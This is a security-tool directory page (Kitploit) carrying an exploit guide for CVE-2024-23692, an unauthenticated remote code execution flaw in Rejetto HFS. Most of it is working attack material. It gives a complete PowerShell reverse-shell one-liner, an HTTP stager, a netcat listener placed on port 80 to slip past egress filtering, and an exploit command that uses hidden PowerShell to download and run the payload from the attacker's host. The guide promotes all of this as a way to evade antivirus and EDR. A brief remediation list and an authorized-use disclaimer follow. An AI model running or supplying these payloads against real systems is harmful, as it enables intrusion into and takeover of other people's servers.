Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-23692 — Automates CVE-2024-23692 exploitation against unpatched Rejetto HFS with an in-memory PowerShell reverse shell, HTTP payload staging, and AV/EDR disk-write evasion for authorized red-team engagements. | Kitploit
도구/GitHubGitHub/sandimfz/cve-2024-23692
Payload GenerationExploitationWeb Application ExploitationCommand and ControlRed Teaming
GitHubsandimfz/cve-2024-23692

CVE-2024-23692

Automates CVE-2024-23692 exploitation against unpatched Rejetto HFS with an in-memory PowerShell reverse shell, HTTP payload staging, and AV/EDR disk-write evasion for authorized red-team engagements.

저장소 보기
318일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2024-23692 - Rejetto HFS Remote Code Execution (RCE)

A tactical documentation and exploit guide for CVE-2024-23692, an unauthenticated critical Remote Code Execution (RCE) vulnerability affecting Rejetto HTTP File Server (HFS) versions prior to 2.3m. This guide leverages an In-Memory Reverse Shell (RAM Only) technique to successfully evade signature-based Antivirus/EDR disk-writing detections.

Disclaimer: This repository and its contents are intended strictly for authorized security assessments, penetration testing engagements, bug bounty simulations, and defensive forensic auditing. Unauthorized utilization against third-party environments is strictly illegal.


Credits & References

The automation checking template implemented in this proof-of-concept workflow builds upon the public repository developed by:

  • Exploit Script Source: VeryLazyTech - CVE-2024-23692

Exploitation Workflow (In-Memory Reverse Shell)

This method incorporates an HTTP stager deployment model to deliver a text-based payload string dynamically into the target environment, invoking live execution straight out of system volatile memory (RAM).

Step 1: Stage the Payload Script

On your local C2/attacker server , create a static text file named index.html and populate it with the following core PowerShell TCP Socket loop code:

root@kitploit:~
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()

Step 2: Spin Up the Lightweight Web Server

Open a terminal instance inside the designated staging folder containing your payload template file, then launch an instantaneous Python HTTP listener on an alternative port (e.g., 8080):

root@kitploit:~
python3 -m http.server 8080

Step 3: Initialize the Network Listener

Open a secondary independent terminal terminal session to host the incoming persistent shell callback. It is highly recommended to leverage port 80 (or 443) to easily circumvent outbound perimeter protection measures (Egress Firewall Filtering):

root@kitploit:~
sudo nc -lvnp 80

Step 4: Trigger the RCE Exploit

Fire the automated validation engine targeting your deployment infrastructure. The target call hooks the command parsing via a localized CMD execution wrapper to maintain optimal string stability without dropping parameter flags:

root@kitploit:~
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""

Screenshot

Remediation & Mitigation

To completely flush compromises and remediate vulnerable operational environments:

  1. Instantly drop and terminate any running Rejetto HFS deployment processes across the system tree:
    root@kitploit:~
    Get-Process -Name *hfs* | Stop-Process -Force
    
  2. Purge residual trash files or unauthenticated binary payloads residing inside public write areas:
    root@kitploit:~
    Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue
    
  3. Upgrade deployment assets to the patched stable release version or pivot integration infrastructure to modern secure alternative platforms.
도구 다운로드